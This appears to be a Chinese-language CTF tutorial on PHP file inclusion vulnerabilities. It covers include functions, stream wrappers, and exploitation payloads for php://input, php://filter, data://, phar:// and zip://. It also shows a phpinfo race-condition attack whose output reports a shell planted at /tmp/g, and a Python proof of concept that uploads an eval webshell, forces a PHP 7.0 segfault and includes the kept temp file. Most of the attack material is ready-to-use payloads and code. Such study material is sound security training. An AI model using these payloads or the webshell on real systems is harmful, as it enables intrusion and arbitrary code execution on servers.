php文件包含漏洞

系统学习学习文件包含漏洞

文件包含函数

以下四个函数的作用均为:包含并运行指定文件

include():未找到文件会发出一条警告
require():未找到文件会发出一个致命错误

下面两个函数作用类似上面的,区别是如果文件已被包含过,则不会再次包含:

include_once()
require_once()

支持的协议和封装协议

官方文档描述:

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流

可以在phpinfo中的Registered PHP Streams中找到可使用的协议

测试代码:

1
2
3
4
<?php
$file = $_GET['file'];
include($file);
?>

下面利用上述代码,来了解文件包含中常用的协议

php://

php://input

php://input是个可以访问请求的原始数据的只读流,将POST的数据作为代码执行;

需要配置allow_url_include: On

例如,利用上述代码和此协议查看phpinfo信息,则构造

?file=php://input

并且POST数据:

<?=phpinfo()?>

即可实现;除此之外,比较常见的场景:

1
2
3
4
5
6
<?php
$txt = $_GET["txt"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome")){
echo "flag";
}

此时,用php://input协议:

?txt=php://input

并且POST数据welcome即可轻松绕过

php://filter

php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用

一般利用此方式读取文件源码:

?file=php://filter/read=convert.base64-encode/resource=./include.php

read=可以省去不写:

?file=php://filter/convert.base64-encode/resource=./include.php

file://

file://协议用于访问本地文件系统,例如:

?file=file:///var/www/html/index.php

如果题目检测file参数开始内容,如/../时,可以考虑用此协议

data://

php://类似,将原本的include的文件流重定向到了用户可控制的输入流中

需要配置allow_url_fopen: Onallow_url_include: On

1.执行代码

?file=data:text/plain,<?=phpinfo()?>
?file=data://text/plain,<?=phpinfo()?>

2.base64解码

?file=data:text/plain;base64,Njk2ZTY0NjU3ODJlNzA2ODcw
?file=data://text/plain;base64,Njk2ZTY0NjU3ODJlNzA2ODcw

下面的这个场景除了使用php://input绕过外,还可使用data://绕过:

1
2
3
4
5
6
<?php
$txt = $_GET["txt"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome")){
echo "flag";
}

构造:

?txt=data://text/plain,welcome

phar://

如果目标服务器有zip压缩包,且压缩文件内容有可利用的代码,那么可以利用此协议:

phpinfo.txt写入<?=phpinfo?>,之后将其压缩为phpinfo.zip,之后使用phar://协议访问:

?file=phar://phpinfo.zip/phpinfo.txt (相对路径)
?file=phar:///var/www/html/phpinfo.zip/phpinfo.txt (绝对路径)

可以成功将phpinfo.txt当做php文件执行;当然,可以将phpinfo.txtphpinfo.zip后缀名替换成其他的:

?file=phar://phpinfo.png/phpinfo

一般利用场景(可能需结合文件上传):

1
2
3
4
<?php
$file = $_GET['file'].".php"; //限制只能包含php后缀的文件。
include($file);
?>

zip://

zip://phar://作用类似,不过zip://需要绝对路径:

?file=zip:///var/www/html/phpinfo.zip#phpinfo.txt

#需要url编码:

?file=zip:///var/www/html/phpinfo.zip%23phpinfo.txt

session包含

http://www.gtfly.top/2019/05/11/PHP-session文件包含

phpinfo+LFI

如果给了phpinfo路径和存在文件包含漏洞,那么通过phpinfo可以知道session、日志等相关信息,可以尝试进行session或日志文件包含;除此之外,可以利用phpinfo页面特性来getshell

原理(转自ph师傅):

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。

在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。

但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

这个时候就需要用到条件竞争,具体流程如下:

  1. 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
  2. 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
  3. php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
  4. 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
  5. 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
  6. 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

利用:

127.0.0.1下存在phpinfo.phpinclude.php,将exp.py中的路径修改后,在终端运行:

python include_phpinfo.py 127.0.0.1 80 200  

成功getshell显示:

└─(10:17:03)──> python include_phpinfo.py 127.0.0.1 80 200       
LFI With PHPInfo()
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Getting initial offset... found [tmp_name] at 110231
Spawning worker pool (200)...
 243 /  1000
Got it! Shell created in /tmp/g

Woot!  \m/
Shuttin' down...

即可利用/tmp/g文件执行任意命令:

http://127.0.0.1/include.php?file=/tmp/g&1=system(%27ls%27);

php7.0 segment fault+LFI

在php7.0下

?file=php://filter/string.strip_tags=/etc/passwd

这种包含会导致php执行过程中出现segment fault,此时上传文件,临时文件会被保存在upload_tmp_dir所指定的目录下,不会被删除

poc(2018西湖论剑babyt3):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
from io import BytesIO
import re

files = {
'file': BytesIO('<?php eval($_REQUEST[sky]);')
}
url = 'http://ip/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
try:
r = requests.post(url=url, files=files, allow_redirects=False)
except:
url = 'http://ip/dir.php'
r = requests.get(url)
data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)
url = "http://ip/index.php?file=/tmp/"+data
data = {
'sky':"readfile('/flag');"
}
r = requests.post(url=url,data=data)
print r.content

参考链接:

https://xz.aliyun.com/t/5535#toc-10

https://mp.weixin.qq.com/s/RaxfIg9x5Rh1qjDgFBr82Q

https://www.ctfwp.com/articals/2019national.html#justsoso

https://wx.zsxq.com/dweb/#